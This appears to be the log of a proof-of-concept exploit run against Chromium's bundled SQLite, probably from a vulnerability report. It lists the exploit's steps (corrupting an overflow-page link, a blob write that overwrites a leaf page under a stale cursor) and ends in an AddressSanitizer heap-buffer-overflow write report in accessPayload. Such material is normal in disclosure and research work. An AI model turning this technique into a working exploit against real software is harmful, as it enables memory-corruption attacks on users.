[*] records root=2  blobs root=3
[*] blobs cell: nPayload=3004 nLocal=464 firstOvfl=5
[*] records row1: nPayload=604 nLocal=96 nOvfl=1 (aOverflow alloc = 8 bytes)
[*] blobs overflow chain: 5 6 7 8 9 (len=5)
[*] corrupted: page 5 next-link 6 -> 2 (records leaf)
[*] records cursor parked on k=1 (page 2 isInit=1, aOverflow alloc'd)
[*] sqlite3_blob_write(off=968,len=508) rc=0 (not an error)
[+] accessPayload(eOp=1) overwrote records leaf aData[4..] while another cursor's MemPage still has isInit=1
[*] stepping records cursor (stale MemPage + attacker aData) -> expect ASAN heap-buffer-overflow in accessPayload
=================================================================
==374==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7a72849e0e40 at pc 0x6359dd609dc6 bp 0x7ffd0f052370 sp 0x7ffd0f052368
WRITE of size 4 at 0x7a72849e0e40 thread T0
    #0 0x6359dd609dc5 in accessPayload /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:77645:29
    #1 0x6359dd66b5e4 in sqlite3BtreePayload /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:77751:10
    #2 0x6359dd66b5e4 in sqlite3VdbeMemFromBtree /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:86044:10
    #3 0x6359dd651d4d in vdbeColumnFromOverflow /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:96079:10
    #4 0x6359dd6423f3 in sqlite3VdbeExec /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:98539:12
    #5 0x6359dd592dee in sqlite3Step /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:93252:10
    #6 0x6359dd592dee in sqlite3_step /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:93313:16
    #7 0x6359dd84366c in main /poc-artifacts/poc.c:264:8
    #8 0x7e528565c249  (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)
    #9 0x7e528565c304 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27304) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)
    #10 0x6359dd49b400 in _start (/poc-artifacts/poc+0x46400)

0x7a72849e0e40 is located 0 bytes after 16-byte region [0x7a72849e0e30,0x7a72849e0e40)
allocated by thread T0 here:
    #0 0x6359dd53da74 in malloc (/poc-artifacts/poc+0xe8a74)
    #1 0x6359dd835ad2 in sqlite3MemMalloc /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:27581:7
    #2 0x6359dd582dba in mallocWithAlarm /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:31307:7
    #3 0x6359dd582dba in sqlite3Malloc /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:31332:5
    #4 0x6359dd608f12 in accessPayload /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:77610:25
    #5 0x6359dd66b5e4 in sqlite3BtreePayload /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:77751:10
    #6 0x6359dd66b5e4 in sqlite3VdbeMemFromBtree /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:86044:10
    #7 0x6359dd651d4d in vdbeColumnFromOverflow /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:96079:10
    #8 0x6359dd6423f3 in sqlite3VdbeExec /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:98539:12
    #9 0x6359dd592dee in sqlite3Step /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:93252:10
    #10 0x6359dd592dee in sqlite3_step /chromium/chromium/src/third_party/sqlite/src/amalgamation/sqlite3.c:93313:16
    #11 0x6359dd84346e in main /poc-artifacts/poc.c:195:11
    #12 0x7e528565c249  (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)